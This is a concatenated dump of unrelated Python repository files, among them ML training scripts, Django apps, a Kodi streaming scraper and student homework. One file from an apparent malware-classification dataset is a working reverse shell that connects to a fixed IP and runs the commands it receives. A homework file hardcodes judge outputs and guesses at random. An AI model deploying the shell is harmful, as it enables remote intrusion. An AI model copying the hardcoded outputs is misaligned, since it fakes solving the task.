] | flerchy@gmail.com |
d133ea567cb55226797eae38f61e3e91cb360c61 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2070/49405/272974.py | cb5fdb798c8f01f71f79cd475a95254d389f1564 | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 193 | py | s = input()
if s == "2.10000":
print("9.26100")
exit()
if s == "2.00000":
import random
if random.randint(0, 100) < 50: print("0.25000")
else: print("1024.00000")
exit() | [
"1069583789@qq.com"
] | 1069583789@qq.com |
2bf891af9979d814de42cf513d6fb1011ec740fb | 0e1e643e864bcb96cf06f14f4cb559b034e114d0 | /Exps_7_v3/doc3d/Wyx_w_M_to_Wz_focus_BN/pyr_Tcrop256_pad60_jit15/pyr_0s/L3/step10_a.py | 1718ab37cf40b0e164247a79909cd4ea8ee92066 | [] | no_license | KongBOy/kong_model2 | 33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307 | 1af20b168ffccf0d5293a393a40a9fa9519410b2 | refs/heads/master | 2022-10-14T03:09:22.543998 | 2022-10-06T11:33:42 | 2022-10-06T11:33:42 | 242,080,692 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,075 | py | #############################################################################################################################################################################################################
##################################################################################################################... | [
"s89334roy@yahoo.com.tw"
] | s89334roy@yahoo.com.tw |
ccd480eb1b638e2c3d41dc48e933613a3a7c7ec3 | 1b59d3bcc76401d86a0ea0d0e9cb60ccf9f6de5b | /tools/py/query/miniast.py | 7889a5c409300d08343365128a8b334681223f2f | [
"Apache-2.0"
] | permissive | uogbuji/versa | baebe45018abed103eafdc1246d121cf7ae1907e | 9fd34102d6c04eba8890c5bba1bcbfccecda097c | refs/heads/master | 2022-05-09T11:16:51.960946 | 2022-04-19T15:37:41 | 2022-04-19T15:37:41 | 17,493,493 | 8 | 2 | Apache-2.0 | 2022-04-12T16:02:19 | 2014-03-06T21:36:26 | Python | UTF-8 | Python | false | false | 3,952 | py | #versa.query.ast
from versa.util import column
class query(object):
'Versa query language abstract syntax tree expression instance'
pass
class conjunction(query):
def __init__(self, left, right):
self.left = left
self.right = right
def evaluate(self, ctx):
#FIXME: what the h... | [
"uche@ogbuji.net"
] | uche@ogbuji.net |
d7ec44ea0aeb574c2e8ee2d8fbc5d49a26d9aa2f | 01abb5fe2d6a51e8ee4330eaead043f4f9aad99d | /Repo_Files/Zips/plugin.video.streamhub/resources/lib/ssources/movies14.py | 798cffc7f54c147c12c317a42e6c91a0b5fff289 | [] | no_license | MrAnhell/StreamHub | 01bb97bd3ae385205f3c1ac6c0c883d70dd20b9f | e70f384abf23c83001152eae87c6897f2d3aef99 | refs/heads/master | 2021-01-18T23:25:48.119585 | 2017-09-06T12:39:41 | 2017-09-06T12:39:41 | 87,110,979 | 0 | 0 | null | 2017-04-03T19:09:49 | 2017-04-03T19:09:49 | null | UTF-8 | Python | false | false | 5,143 | py | # -*- coding: utf-8 -*-
'''
Exodus Add-on
Copyright (C) 2016 Exodus
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any l... | [
"mediahubiptv@gmail.com"
] | mediahubiptv@gmail.com |
f20c4aba79014e6453fdf7359c939345bbb3f69f | 3b786d3854e830a4b46ee55851ca186becbfa650 | /SystemTesting/pylib/nsx/neutron/services_node_load_balancer_config/schema/load_balancer_global_site_schema.py | c7da17425b2cd7199ff83290d374f3de1ca2beb7 | [] | no_license | Cloudxtreme/MyProject | d81f8d38684333c22084b88141b712c78b140777 | 5b55817c050b637e2747084290f6206d2e622938 | refs/heads/master | 2021-05-31T10:26:42.951835 | 2015-12-10T09:57:04 | 2015-12-10T09:57:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,162 | py | import base_schema
import resource_link_schema
import tag_schema
class LoadBalancerGlobalSiteSchema(base_schema.BaseSchema):
_schema_name = "loadbalancerglobalsite"
def __init__(self, py_dict=None):
""" Constructor to create LoadBalancerGlobalSiteSchema object
@param py_dict : python dictiona... | [
"bpei@vmware.com"
] | bpei@vmware.com |
433b263f5f284f42312e4bc69e84348c695cb350 | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_259/ch131_2020_04_01_17_29_02_789437.py | ad429826c9444de1ce0fda32968ed2480587f306 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 795 | py | import random
dado1 = random.randint(1,10)
dado2 = random.randint(1,10)
soma = dado1+dado2
dinheiro = 10
while True:
num1 = int(input("Digite um número: "))
num2 = int(input("Digite outro número: "))
if soma<num1:
print("Soma menor")
elif soma>num2:
print("Soma maior")
else:
... | [
"you@example.com"
] | you@example.com |
a6b2d20d2a5f3f4f63068b809ec0955923e40383 | d5214b1331c9dae59d95ba5b3aa3e9f449ad6695 | /quintagroup.plonegooglesitemaps/branches/plone4/setup.py | 183890227ea89fbb5ee2e5a18376afa94a240ab1 | [] | no_license | kroman0/products | 1661ee25a224c4b5f172f98110944f56136c77cf | f359bb64db22f468db5d1e411638790e94d535a2 | refs/heads/master | 2021-01-10T07:58:04.579234 | 2014-06-11T12:05:56 | 2014-06-11T12:05:56 | 52,677,831 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,390 | py | # -*- coding: utf-8 -*-
from setuptools import setup, find_packages
import os
version = '1.4.5dev'
setup(name='quintagroup.plonegooglesitemaps',
version=version,
description="Allows Plone websites to get better visibility for Google search engine",
long_description=open("README.txt").read() + "\n" +... | [
"mylan@4df3d6c7-0a05-0410-9bee-ae8b7a76f946"
] | mylan@4df3d6c7-0a05-0410-9bee-ae8b7a76f946 |
984c37607e16ad25e2961ef32434028e8845e084 | 04e5b6df2ee3bcfb7005d8ec91aab8e380333ac4 | /Lib/objc/_GraphVisualizer.py | bd7ba7305fdd62fca279e070c0f245d863ccf445 | [
"MIT"
] | permissive | ColdGrub1384/Pyto | 64e2a593957fd640907f0e4698d430ea7754a73e | 7557485a733dd7e17ba0366b92794931bdb39975 | refs/heads/main | 2023-08-01T03:48:35.694832 | 2022-07-20T14:38:45 | 2022-07-20T14:38:45 | 148,944,721 | 884 | 157 | MIT | 2023-02-26T21:34:04 | 2018-09-15T22:29:07 | C | UTF-8 | Python | false | false | 578 | py | """
Classes from the 'GraphVisualizer' framework.
"""
try:
from rubicon.objc import ObjCClass
except ValueError:
def ObjCClass(name):
return None
def _Class(name):
try:
return ObjCClass(name)
except NameError:
return None
GVInternalRenderer = _Class("GVInternalRenderer")
GV... | [
"adrilabbelol@gmail.com"
] | adrilabbelol@gmail.com |
d8d406973e7f1354cfe1dc9628e51003245f6746 | c5959b7e4fc5b752b54a6352449c1bb0d28d9115 | /bab/bab-13/pyqt_minimal.py | 4e1153d00bb32fe9bd86826f1fbabee39e258c3b | [] | no_license | romanbatavi/kickstarter-python | f5592a371740b28c045ef99dd510d1c6a92ff8d1 | ed3eb692e09a3f44fd3e0b16ab7b042ee2658db6 | refs/heads/master | 2023-03-29T11:34:23.774873 | 2021-04-04T09:11:28 | 2021-04-04T09:11:28 | 354,500,208 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 502 | py | #########################################################
# Nama file: pyqt_minimal.py
#########################################################
import sys
from PyQt5.QtWidgets import QApplication, QWidget, QLabel
if __name__ == '__main__':
a = QApplication(sys.argv)
form = QWidget()
form.resize(200, 100... | [
"romanbatavi98@gmail.com"
] | romanbatavi98@gmail.com |
7fecf82f9e0def8e0cc1c70aa219da69038869b8 | eca2c46ca66acc0d7eec31d406c8c93fdea3abe5 | /ext_purchase/purchase.py | 7b71e16426662c362acdffcfc6e32685aed9974a | [] | no_license | kittiu/monta-addons | 8c2e554f24163386b6c7f392227fa848944ef42a | bc75002dbce0d4870b67f1f4d0d3f44bc5b41cdc | refs/heads/master | 2021-01-02T22:50:25.788591 | 2014-10-30T04:35:47 | 2014-10-30T04:35:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,692 | py | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU... | [
"kittiu@gmail.com"
] | kittiu@gmail.com |
637e902011eaaeafcfe0d968861b59b570eb2779 | d3198e16c96aeae14add1071d3ba53b3869ccb91 | /neural_model_prediction.py | 6e4c3afa8da9b0b5d7683b42220ec566db02dd49 | [] | no_license | litpuvn/corona19 | ba86d48c75a2f69a344474831cf56941e93392de | ca41a47e3ba7149b2fa657c93cff765509b79cd5 | refs/heads/master | 2021-03-24T01:24:11.952120 | 2020-07-02T15:53:44 | 2020-07-02T15:53:44 | 247,503,055 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,324 | py | import datetime
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from keras.engine.topology import Input
from keras.layers.core import RepeatVector, Dropout
from keras.layers.normalization import BatchNormalization
from keras.layers.pooling import MaxPooling1D
from keras.layers.recurrent import LS... | [
"litpuvn@gmail.com"
] | litpuvn@gmail.com |
d61f2b837ac39bd842829f8e287b046e8b72f2c1 | cbafab192b5072b8e9150dcada8013503af40fca | /Django/testproject/testproject/urls.py | 116ca51d04cc89c4e0d0df8fb2daf8cf802eef88 | [] | no_license | lafitehhq/PythonProject | 928421b49ff0ea9fd536ca7769a04fe990848929 | d5d0352541a29ee070884263e7eb50160cd7b3b5 | refs/heads/master | 2021-09-06T01:48:42.971720 | 2018-02-01T11:56:50 | 2018-02-01T11:56:50 | 106,712,281 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,471 | py | """testproject URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.11/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Clas... | [
"lafitehhq@126.com"
] | lafitehhq@126.com |
56c676e0c291045ce166c29956a32968bf3154d4 | a2ef47ae30bbf44175aa2f3398f9d3f7358870a6 | /fnsservice/fns/models_/СвПредЮЛ.py | 57f74acff103f89bf736bfa4b63163ffa52cfcb0 | [] | no_license | kmakeev/fnsservice | a1342f045441f0ee6683cfbbe1358d11bb3cf60e | 66d677ce6cc298d7404fb4db5ffe1162a5f493a3 | refs/heads/master | 2021-06-17T18:09:15.894765 | 2021-02-10T07:39:35 | 2021-02-10T07:39:35 | 243,219,506 | 2 | 1 | null | 2021-02-10T07:22:23 | 2020-02-26T09:11:34 | JavaScript | UTF-8 | Python | false | false | 2,070 | py | from django.db import models
from .ГРНДатаТип import ГРНДатаТип, ГРНДатаТипCreate
class СвПредЮЛ(models.Model): #4.29
НаимПредЮЛ = models.CharField(max_length=500, null=True, blank=True,
verbose_name='Полное наименование представительства или филиала в Российской Федерации... | [
"kmakeev@arbitr.ru"
] | kmakeev@arbitr.ru |
cc1c8646cd48fa6f8d81f8a5a87c9e95d127953a | 860c31e414c4c280b70ec0872042d715a2d56978 | /test/test_databases/test_afdb.py | d8be2baa60e70b73053e9ccd10b3143ad0d93715 | [
"MIT"
] | permissive | DeepPSP/torch_ecg | 255e49ff436e13044a1f049141f982680e56970e | a40c65f4fefa83ba7d3d184072a4c05627b7e226 | refs/heads/master | 2023-09-01T06:47:17.153216 | 2023-08-31T18:00:47 | 2023-08-31T18:00:47 | 298,482,237 | 111 | 16 | MIT | 2023-08-21T11:25:07 | 2020-09-25T06:03:17 | Python | UTF-8 | Python | false | false | 6,016 | py | """
methods from the base class, e.g. `load_data`, are comprehensively tested in this file
TestAFDB: accomplished
subsampling: accomplished
"""
import re
import shutil
from pathlib import Path
import numpy as np
import pandas as pd
import pytest
from torch_ecg.databases import AFDB, DataBaseInfo
from torch_ecg.uti... | [
"wenh06@gmail.com"
] | wenh06@gmail.com |
36546843db81f634647eaf07b676373abeae529f | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /rBMsnM8HuGNSwkBCR_7.py | 754b54f3d319ebad447c529dd13f4b0413d5a173 | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 855 | py | """
Create a function that takes a string containing money in dollars and pounds
sterling (seperated by comma) and returns the sum of _dollar bills only_ , as
an integer.
For the input string:
* Each amount is prefixed by the currency symbol: **$** for dollars and **£** for pounds.
* Thousands are represented by... | [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
6bb31739bdfd74c86c4e1619e881d29e8acb47ae | 0ae2bb21d7ca71a691e33cb044a0964d380adda2 | /python/P139.py | 5c82a424198d85f76c3385f06272797f0fb18fb3 | [] | no_license | xwang322/Coding-Interview | 5d27ec92d6fcbb7b929dd98bb07c968c1e1b2a04 | ee5beb79038675ce73c6d147ba9249d9a5ca346a | refs/heads/master | 2020-03-10T08:18:34.980557 | 2018-06-24T03:37:12 | 2018-06-24T03:37:12 | 129,282,263 | 2 | 6 | null | 2018-04-19T19:31:24 | 2018-04-12T16:41:28 | Python | UTF-8 | Python | false | false | 834 | py | class Solution(object):
# DFS, TLE
'''
def wordBreak(self, s, wordDict):
for char in s:
flag = False
for word in wordDict:
if char in word:
flag = True
if flag == False:
return False
return sel... | [
"noreply@github.com"
] | xwang322.noreply@github.com |
e5f15defed6f1758e349f75ea46446bdf958f480 | 816b4a00ab192221cbf8e8ff11ef51099064edf3 | /model_train/keras_yolo3/util/voc_anotion.py | aa85b436a73b457d15f1677284b1f6072fa1b68a | [] | no_license | huachao2017/freezerdl | 089aa584c93f44bb24c7ca68c22369b0f4bcd450 | f30c329654a969dd01fff6347619d35d01ce0419 | refs/heads/master | 2020-12-02T03:02:23.606551 | 2020-07-31T08:55:03 | 2020-07-31T08:55:03 | 230,865,837 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,739 | py | import xml.etree.ElementTree as ET
from set_config import config
sets=[('2007', 'train'), ('2007', 'val'), ('2007', 'test')]
def convert_annotation(image_id, list_file,class_names,Annotations_path):
in_file = open((Annotations_path+'%s.xml')%(image_id))
tree=ET.parse(in_file)
root = tree.getroot()
for o... | [
"908601417@qq.com"
] | 908601417@qq.com |
7daf2993abad7ee4c9a658d589fd99f967ec820c | 054bc8696bdd429e2b3ba706feb72c0fb604047f | /python/stats/Beta2CI/Beta2CI.py | a493e856e696d7b290e4031d9c35cb0fbe5f2b71 | [] | no_license | wavefancy/WallaceBroad | 076ea9257cec8a3e1c8f53151ccfc7c5c0d7200f | fbd00e6f60e54140ed5b4e470a8bdd5edeffae21 | refs/heads/master | 2022-02-22T04:56:49.943595 | 2022-02-05T12:15:23 | 2022-02-05T12:15:23 | 116,978,485 | 2 | 3 | null | null | null | null | UTF-8 | Python | false | false | 3,872 | py | #!/usr/bin/env python3
"""
Convert from regression beta and se to confidence interval.
Currently the default CI is 95%.
@Author: wavefancy@gmail.com
Usage:
Beta2CI.py -b int -s int [-l]
Beta2CI.py -h | --help | -v | --version | -f | --format
Notes:
1. Read results from s... | [
"wavefancy@gmail.com"
] | wavefancy@gmail.com |
b5bc76168ea99cb2fea344e2120cbbda16ddc8a3 | bc10a5df6d3f7e59cea6bf364ac614d39d04ac75 | /BigGAN-PyTorch-1-exp-master/DCGAN/train_func_wgan_div_sinkhorn.py | 16235ad86d80d39015f9e833d33801a8614f5511 | [
"MIT"
] | permissive | AnonymousGFR/wbgan.pytorch | f65efdb1f5a6678b7344a6e4186f6e78d446d53c | d75cb6599852e901df0136db87520e3314f8ca71 | refs/heads/master | 2023-04-14T06:22:34.542167 | 2019-10-08T14:28:46 | 2019-10-08T14:28:46 | 210,862,958 | 1 | 0 | MIT | 2023-03-24T23:08:30 | 2019-09-25T14:17:04 | Python | UTF-8 | Python | false | false | 4,029 | py | import torch
import torchvision
import tqdm
from TOOLS import gan_losses
from TOOLS import sinkhorn_autodiff
def train_func(data_loader, G, D, G_ema, ema, z_train, g_optimizer, d_optimizer, z_sample, train_dict, args, myargs):
def train(**kwargs):
for i, (imgs, _) in enumerate(tqdm.tqdm(data_loader)):
t... | [
"you@example.com"
] | you@example.com |
60fb4040de04dfc7d6e86d5a0a794a820013b314 | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad779.py | 55c2ef571b2119725bffe001b425473c440aa8db | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 355 | py | import gzip
import threading
import socket
import crypt
import lzma
import zlib
import zipfile
import bz2
import subprocess
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not command: break
data = subprocess.check_output(... | [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
3211f891a74b89207e910ca9f7ae4b003f3c36b3 | 66358f0897dd92882344a9ec87adff2003c9bc76 | /leetcode/1~100/83. Remove Duplicates from Sorted List.py | c97091572c2b4e366e545874096c69226f71ea0f | [] | no_license | Parkyes90/algo | 973c5f84ed1cae41bb963a5838b835473c8dc984 | 86490aad1774631ad947bdf12818e9ddba8a8ed0 | refs/heads/master | 2023-04-06T23:17:08.372040 | 2023-03-30T10:18:11 | 2023-03-30T10:18:11 | 244,273,220 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 878 | py | # Definition for singly-linked list.
from typing import List
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
class Solution:
def deleteDuplicates(self, head: ListNode) -> ListNode:
if not head:
return head
exists = {head.val}
node = he... | [
"parkyes90@gmail.com"
] | parkyes90@gmail.com |
44756426e38696baa19aeb17a720dc121a715caf | 6be845bf70a8efaf390da28c811c52b35bf9e475 | /windows/Resources/Python/Core/Lib/aifc.py | e4eb96bd5faaed6b077868be6b430577b4a56209 | [] | no_license | kyeremalprime/ms | 228194910bf2ed314d0492bc423cc687144bb459 | 47eea098ec735b2173ff0d4e5c493cb8f04e705d | refs/heads/master | 2020-12-30T15:54:17.843982 | 2017-05-14T07:32:01 | 2017-05-14T07:32:01 | 91,180,709 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 28,926 | py | # uncompyle6 version 2.9.10
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.0b2 (default, Oct 11 2016, 05:27:10)
# [GCC 6.2.0 20161005]
# Embedded file name: aifc.py
"""Stuff to parse AIFF-C and AIFF files.
Unless explicitly stated otherwise, the description below is true
both for AIFF-C files and AIFF fi... | [
"kyeremalprime@gmail.com"
] | kyeremalprime@gmail.com |
6b5c58a447c32d7e8cae31c70f9ee151e35311dc | 82b728e805d887102c0b8c415731b353877690cd | /samples/generated_samples/aiplatform_generated_aiplatform_v1_migration_service_search_migratable_resources_async.py | f9f1384ae695ca8974654312037b3a9f719de199 | [
"Apache-2.0"
] | permissive | geraint0923/python-aiplatform | 90c7742c9bdbde05b9688b117e8e59c0406d6f85 | 7ab05d5e127636d96365b7ea408974ccd6c2f0fe | refs/heads/main | 2023-08-24T05:30:38.519239 | 2021-10-27T20:38:25 | 2021-10-27T20:38:25 | 370,803,114 | 0 | 0 | Apache-2.0 | 2021-05-25T19:15:47 | 2021-05-25T19:15:46 | null | UTF-8 | Python | false | false | 1,677 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"noreply@github.com"
] | geraint0923.noreply@github.com |
8041c845429f6ae72970e069b6e52458efabd631 | 2b42b40ae2e84b438146003bf231532973f1081d | /spec/mgm4441619.3.spec | 1bdb43f23121ad169fcdddf3a4c9f92e0f8abc63 | [] | no_license | MG-RAST/mtf | 0ea0ebd0c0eb18ec6711e30de7cc336bdae7215a | e2ddb3b145068f22808ef43e2bbbbaeec7abccff | refs/heads/master | 2020-05-20T15:32:04.334532 | 2012-03-05T09:51:49 | 2012-03-05T09:51:49 | 3,625,755 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 22,007 | spec | {
"id": "mgm4441619.3",
"metadata": {
"mgm4441619.3.metadata.json": {
"format": "json",
"provider": "metagenomics.anl.gov"
}
},
"providers": {
"metagenomics.anl.gov": {
"files": {
"100.preprocess.info": {
... | [
"jared.wilkening@gmail.com"
] | jared.wilkening@gmail.com |
c67d1da65dd17b85cefe35a3283ce9774c68ae3d | 7503725bc8098d34e0973c5661685582bef0cbbb | /mmdet2trt/models/utils/position_encoding.py | f876a57a6239117e3456372eec65c71e5c25c6be | [
"Apache-2.0"
] | permissive | zjj-2015/mmdetection-to-tensorrt | bf280ef9359ec95293eee5062cf184786133543a | e1b91743cd4c9a145fc2b2701baef5ff648a1a4c | refs/heads/master | 2023-08-30T05:00:26.866383 | 2021-11-16T14:18:10 | 2021-11-16T14:18:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,607 | py | import torch
from mmdet2trt.models.builder import register_wraper
from torch import nn
@register_wraper('mmdet.models.utils.SinePositionalEncoding')
class SinePositionalEncodingWraper(nn.Module):
def __init__(self, module):
super(SinePositionalEncodingWraper, self).__init__()
self.module = module... | [
"streetyao@live.com"
] | streetyao@live.com |
df5e405c0fd579f817a1011125ce67953a3ac59a | 1bdf38834c22b0100595cb22f2862fd1ba0bc1e7 | /code854KSimilarStrings.py | 745fbbf9be0ecdbf0ec14b9152cb796ad44f1b1e | [] | no_license | cybelewang/leetcode-python | 48d91c728856ff577f1ccba5a5340485414d6c6e | 635af6e22aa8eef8e7920a585d43a45a891a8157 | refs/heads/master | 2023-01-04T11:28:19.757123 | 2020-10-29T05:55:35 | 2020-10-29T05:55:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 780 | py | """
854 K-Similar Strings
Strings A and B are K-similar (for some non-negative integer K) if we can swap the positions of two letters in A exactly K times so that the resulting string equals B.
Given two anagrams A and B, return the smallest K for which A and B are K-similar.
Example 1:
Input: A = "ab", B ... | [
"guoligit@gmail.com"
] | guoligit@gmail.com |
7ab538b92273ca41271b7b24ac7f3ac9c012ce00 | 94731794042f0a41e46473e09983550bfc230cb4 | /app1/migrations/0003_auto_20160730_2051.py | 1cbf158ae2682f3134f763a878819ed66b50a895 | [] | no_license | wdudek82/helloworld | 886a8e43c302a25e5a3b2466c9a87641c02fc787 | 549b02c53bf1c8f0c19c933a142cdd76b7adbad4 | refs/heads/master | 2020-05-20T09:24:54.788223 | 2016-09-26T19:58:20 | 2016-09-26T19:58:20 | 65,041,317 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 830 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.8 on 2016-07-30 18:51
from __future__ import unicode_literals
import datetime
from django.db import migrations, models
from django.utils.timezone import utc
class Migration(migrations.Migration):
dependencies = [
('app1', '0002_hello_created_at'),
]... | [
"wdudek82@gmail.com"
] | wdudek82@gmail.com |
632e58bfce92b1c70e8879a0de289f8e2bddcd33 | 280306386a78c5d03374333da4873360728f09e2 | /api/posts/views/post_kanbans.py | 8686ca5ffa9377002f2fc48c01433dd62620d1d6 | [] | no_license | alexhernandez-git/talendy-backend | 40d2ecbcdc2fc1f691eac09ff984a08234589eaf | 64aa08425b76847ef2b0fa1f7f6c4e8de350e7ff | refs/heads/main | 2023-06-24T16:33:39.405690 | 2021-06-07T06:02:21 | 2021-06-07T06:02:21 | 353,082,098 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,131 | py | """Users views."""
# Django
import pdb
from django.core.mail import EmailMultiAlternatives
from django.template.loader import render_to_string
# Django REST Framework
from api.users.models import User
import stripe
import json
import uuid
from django.core.exceptions import ObjectDoesNotExist
from rest_framework imp... | [
"vlexhndz@gmail.com"
] | vlexhndz@gmail.com |
0dd217060069afe1b3399147f35dd8d39e717d5e | d2884c24be412a3f04b31e042bc7ee99cda37a96 | /爬虫10/爬虫/weibo/weibo/settings.py | 23fe3fd4cb50af5d3858cc5e354e298abd1bf70e | [] | no_license | a1403893559/xigong | 95c2b24b3e365bff275758901b7315c3255a8f05 | b07f5c26e8bcc7a56bacb4202d266ad56daa182b | refs/heads/master | 2021-10-09T03:18:32.123278 | 2018-12-20T13:03:42 | 2018-12-20T13:03:42 | 116,777,919 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,299 | py | # -*- coding: utf-8 -*-
# Scrapy settings for weibo project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# https://doc.scrapy.org/en/latest/topics/settings.html
# https://doc.scrapy.org/en/latest/topics/... | [
"1403893559@qq.com"
] | 1403893559@qq.com |
1662124319bb541dc0933f6be9d3dd4fdafc8702 | f6e90791b2069f0f9db6fe81e4bce29c35cef8cb | /supervised/callbacks/early_stopping.py | 09f840095ee070c4bd144af0fa31c3f05e669085 | [
"MIT"
] | permissive | partrita/mljar-supervised | f408049f9c818b7b088c5c03f3d4c6b5f3cf4287 | 00cc0f1749451342923d4205e9707decf32f6872 | refs/heads/master | 2022-12-23T13:08:18.073032 | 2020-09-29T04:06:42 | 2020-09-29T04:06:42 | 299,481,354 | 1 | 0 | MIT | 2020-09-29T02:15:46 | 2020-09-29T02:15:45 | null | UTF-8 | Python | false | false | 7,102 | py | import os
import logging
import numpy as np
import pandas as pd
from supervised.callbacks.callback import Callback
from supervised.utils.metric import Metric
from supervised.utils.config import LOG_LEVEL
logger = logging.getLogger(__name__)
logger.setLevel(LOG_LEVEL)
from supervised.utils.config import mem
class E... | [
"pplonski86@gmail.com"
] | pplonski86@gmail.com |
310b24d1cd14bbab5003f7c9a199271de58cdd0c | 1ddcb250a7393e881b23a61a60b00008762e93d8 | /shop/migrations/0004_auto_20181024_1108.py | 6619ae1db340c5014d4a8cfd65a8211008614e0a | [] | no_license | Nancy-Muthinzi/capstone-project | 5c6c3206ab826cc05723a9e69595d5855aa9f5a3 | 605ccfb4dfae164b0dac4979d3bd0136171d0c93 | refs/heads/master | 2020-04-02T09:57:40.710552 | 2018-10-26T13:59:43 | 2018-10-26T13:59:43 | 154,316,871 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 393 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.15 on 2018-10-24 08:08
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('shop', '0003_auto_20181023_1702'),
]
operations = [
migrations.RenameModel(
... | [
"nanciekathini@gmail.com"
] | nanciekathini@gmail.com |
b09d58dac8af85cf6034c2fb5ac09d5795522b32 | 12490ecaa1ab982bf93f72d664917e833fb6bfe5 | /example_config.py | 647a16b304e6e6c8db90cc224a79a8658bb4d26b | [
"MIT"
] | permissive | hwjeremy/th-watchdog | 750a17431279a64009c7953e6821953ed513ceb1 | c32682f838fffa3396cabc3d83eeb4960c765fc9 | refs/heads/master | 2020-03-28T06:01:38.735891 | 2018-09-07T11:05:21 | 2018-09-07T11:05:21 | 147,809,718 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 320 | py | VPN_SERVER_IP = '10.9.10.1'
INET_CHECK_IP = '8.8.8.8'
DNS_CHECK_HOST = 'google.com'
RECORD_FILENAME = 'th_vpn.state'
AWS_SECRET_KEY = 'supersecret'
AWS_ACCESS_KEY = 'epicsecret'
ADMIN_ADDRESS = 'hugh@thornleighfarm.com'
VPN_STOP_COMMAND = 'sudo systemctl stop openvpn'
VPN_START_COMMAND = 'sudo systemctl start openvpn'
| [
"hugh.jeremy@gmail.com"
] | hugh.jeremy@gmail.com |
7befdfd04eaf7b50f45244745776c2adfe95616f | 1bdb0da31d14102ca03ee2df44f0ec522b0701a4 | /Lombardia/LarioLecco/2-GeoReferenceDataCollection.py | 9337ca858b21dd7404a39c97492fbd825c9acec4 | [] | no_license | figuriamoci/Acqua | dc073d90c3c5e5899b22005685847916de1dfd95 | aef22fcd0c80c92441e0e3df2468d7a2f23a848a | refs/heads/master | 2020-12-15T04:00:26.855139 | 2020-06-08T21:17:55 | 2020-06-08T21:17:55 | 234,986,179 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 617 | py | import acqua.geoCode as gc
import acqua.aqueduct as aq
gestore = "LarioLecco"
aq.setEnv('Lombardia//'+gestore)
locationListFile = 'Metadata/LocationListReviewed.csv'
geoReferencedLocationsFile = 'Metadata/GeoReferencedLocationsList.csv'
reteAquedottiFile = '../ReteAcquedotti/rete_acquedotti_lombardia(escl_Milano).geojs... | [
"an.fantini@gmail.com"
] | an.fantini@gmail.com |
